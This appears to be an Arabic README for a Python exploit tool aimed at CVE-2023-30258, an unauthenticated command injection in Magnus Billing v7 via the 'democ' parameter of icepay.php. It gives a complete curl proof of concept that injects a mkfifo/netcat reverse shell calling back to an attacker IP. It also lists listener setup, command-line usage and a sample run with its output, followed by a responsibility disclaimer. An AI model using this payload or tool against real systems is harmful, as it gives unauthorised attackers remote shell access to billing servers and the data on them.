
استغلال Python آلي لـ CVE-2023-30258، حقن أوامر في نظام Magnus Billing v7. يرسل طلب GET مخصص إلى icepay.php لتنفيذ أوامر تعسفية وإنشاء شل عكسي.
تقوم هذه الأداة النصية بلغة بايثون بأتمتة استغلال ثغرة حقن الأوامر في نظام Magnus Billing الإصدار 7، وتحديداً في ملف icepay.php الموجود في المسار /mbilling/lib/icepay/icepay.php. يستغل الاستغلال المعامل democ لتنفيذ أوامر عشوائية على النظام المستهدف، مما يؤدي في النهاية إلى إنشاء صدفة عكسية (reverse shell) على جهاز المهاجم.
تسمح الثغرة بحقن الأوامر دون مصادقة عبر طلب GET مصمم خصيصًا. استخدم الإثبات الأولي للمفهوم (PoC) الأمر curl التالي:
curl -s 'http://<TARGET_IP>/mbilling/lib/icepay/icepay.php' --get --data-urlencode 'democ=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ATTACKER_IP> <PORT> >/tmp/f;'
تقوم هذه الأداة بأتمتة هذه العملية، مما يجعلها قابلة للتكوين عبر وسائط سطر الأوامر.
requests لإرسال طلب HTTP مع الحمولةrequests:
pip install requests
netcat (nc) مثبتًا على النظام المستهدف لكي تعمل الصدفة العكسيةnetcat على جهاز المهاجم لاستقبال الصدفة العكسيةicepay.php المعرض للخطرexploit.pynetcat:
nc -lvnp <PORT>
<PORT> بالمنفذ الذي اخترته (مثل 443)python exploit.py -t <TARGET_IP> -a <ATTACKER_IP> -p <PORT>
المعاملات:
-t, --target: عنوان IP لنظام Magnus Billing المستهدف-a, --attacker: عنوان IP الخاص بك لاستقبال الصدفة العكسية-p, --port: المنفذ على جهازك للصدفة العكسيةpython exploit.py -t 10.10.160.86 -a 10.8.64.79 -p 443
المخرجات المتوقعة:
=== Magnus Billing System v7 Exploit ===
Command Injection via icepay.php - Reverse Shell
=======================================
[+] Targeting: http://10.10.160.86/mbilling/lib/icepay/icepay.php
[+] Attacker: 10.8.64.79:443
[+] Sending payload: ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.64.79 443 >/tmp/f;
[+] Request sent successfully!
[*] Check your netcat listener (e.g., 'nc -lvnp 443') for a shell.
netcat الخاص بك للتفاعل مع الصدفة العكسية إذا نجحتmkfifo) مع netcatprint(response.text) في دالة exploit()netcat مثبتًاهذه الأداة مقدمة لأغراض تعليمية واختبار أمني فقط. استخدمها فقط على الأنظمة التي لديك إذن صريح لاختبارها. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك موافقة على اختبارها غير قانوني وغير أخلاقي. المؤلف غير مسؤول عن أي سوء استخدام أو ضرر ناتج عن هذا السكربت.
تم إصدار هذا المشروع بموجب رخصة MIT. لا تتردد في تعديله وتوزيعه حسب الحاجة، مع الاحتفاظ بإخلاء المسؤولية.
نرحب بالمساهمات وتقارير الأخطاء وطلبات الميزات. لا تتردد في تقديم طلب سحب (pull request) أو فتح مشكلة (issue).